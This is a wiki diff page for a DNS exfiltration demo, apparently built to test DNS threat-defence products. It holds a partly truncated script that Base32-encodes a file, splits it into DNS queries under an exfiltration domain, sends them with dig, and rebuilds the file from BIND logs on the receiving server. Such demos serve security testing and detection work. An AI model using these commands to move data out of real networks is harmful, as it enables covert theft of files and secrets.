dns:dns_exfiltration
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| dns:dns_exfiltration [2023/05/28 19:44] – [Simple Exfiltration] bstafford | dns:dns_exfiltration [2023/11/29 15:02] (current) – [DNS Exfiltration Demo] bstafford | ||
|---|---|---|---|
| Line 1: | Line 1: | ||
| ===== DNS Exfiltration Demo ===== | ===== DNS Exfiltration Demo ===== | ||
| [[https:// | [[https:// | ||
| + | ===== Base64 ===== | ||
| + | Base64. Contains uppercase letters and defaults to allowing = and / etc. This is not recommended as it can make it easier to detect attacks as ' | ||
| + | |||
| + | However, Base32 isn't available natively in many scripting toolsets. Base64 is. So some attackers use Base64 to avoid having to write their own Base32 conversion code. | ||
| + | |||
| + | |||
| ===== Simple Exfiltration ===== | ===== Simple Exfiltration ===== | ||
| Note that the BIND logs will be approximately 17 times the size of the transferred file. | Note that the BIND logs will be approximately 17 times the size of the transferred file. | ||
| - | < | + | |
| + | Note that this is actually two scripts as the last few commands are to be run on the DNS auth server to decrypt the logs. | ||
| + | < | ||
| + | SOURCE=/ | ||
| + | |||
| + | # | ||
| ENCRYPTED=/ | ENCRYPTED=/ | ||
| - | ENCRYPTED2=/ | + | ENCRYPTED2=/ |
| - | DOMAIN=domain.com | + | |
| + | # SLD of exfiltration domain | ||
| + | DOMAIN=ferrety-solutions.com | ||
| + | |||
| + | # sub-domain off SLD that we change for every file | ||
| SUBDOM=asdf | SUBDOM=asdf | ||
| - | LOCALDNS=protectivedns.example.com | + | |
| + | # Target DNS server (e.g. NIOS with DFP or BloxOne Host) | ||
| + | # Public IP is the BloxOne Threat Defense IP address | ||
| + | #LOCALDNS=192.168.11.154 | ||
| + | LOCALDNS=52.119.41.100 | ||
| + | |||
| + | # Log file that the DNS queries can be found in on the authoritative DNS server | ||
| BIND_LOG_FILE=/ | BIND_LOG_FILE=/ | ||
| - | DECRYPTEDOUTPUT=/ | ||
| + | # File to put the decrypted, received file into (should be a replica of SOURCE) | ||
| + | DECRYPTEDOUTPUT=/ | ||
| - | # Encrypt source file into Base32 and then split into strings of 32 characters each. Then suffix on the domain to query. | ||
| - | base32 $SOURCE | tr -d ' | ||
| - | # Use DIG to iterate over the file and resolve | + | # Encrypt source file into Base32 |
| - | dig +short A @$LOCALDNS | + | # then split into strings of 32 characters each. |
| + | # Then suffix on the domain | ||
| + | # Then add the line number to the start of each line (i.e. put a sequence number on each query) | ||
| + | # Then replace the whitespace at the start of each line with nothing (i.e remove it) | ||
| + | # Then replace the TAB between the number and domain with a " | ||
| + | base32 | ||
| - | OR | + | # The result is a file that contains a huge list of FQDN's for us to query (exfiltrate) |
| + | |||
| + | # Exfiltrate the file with DIG. | ||
| + | dig +short A @$LOCALDNS -f $ENCRYPTED | ||
| - | for i in $(cat $ENCRYPTED); | ||
| + | # Delay if required. | ||
| + | #for i in $(cat $ENCRYPTED); | ||
| - | # Parse DNS Server logs, extract | + | ## The following commands get run on the command auth DNS server. |
| + | # Parse DNS Server logs | ||
| + | # Then limit the scope just the queries | ||
| + | # Then extract just the FQDN query itself | ||
| + | # Then strip the ( character | ||
| + | # Then strip the ): character | ||
| + | # Put the output into ENCRYPTED2 (i.e the DNS server' | ||
| cat $BIND_LOG_FILE | grep $SUBDOM.$DOMAIN | awk -F " " ' | cat $BIND_LOG_FILE | grep $SUBDOM.$DOMAIN | awk -F " " ' | ||
| - | # Convert back from Base32 and recreate original file. | + | # Take the ENCRYPTED2 file |
| - | cat $ENCRYPTED2 | sed " | + | # Then stip off the DOMAIN bit of the data. |
| + | # Then sort the output as sometimes queries come in on the wrong order. | ||
| + | # remove duplicate queries (BloxOne Threat Defense seems to duplicate stuff a bit). | ||
| + | # Then strip out the new line character to so we just have a bunch of Base32 code. | ||
| + | # Then convert Base32 back to normal file. | ||
| + | Convert back from Base32 and recreate original file. | ||
| + | cat $ENCRYPTED2 | sed " | ||
dns/dns_exfiltration.1685303047.txt.gz · Last modified: by bstafford
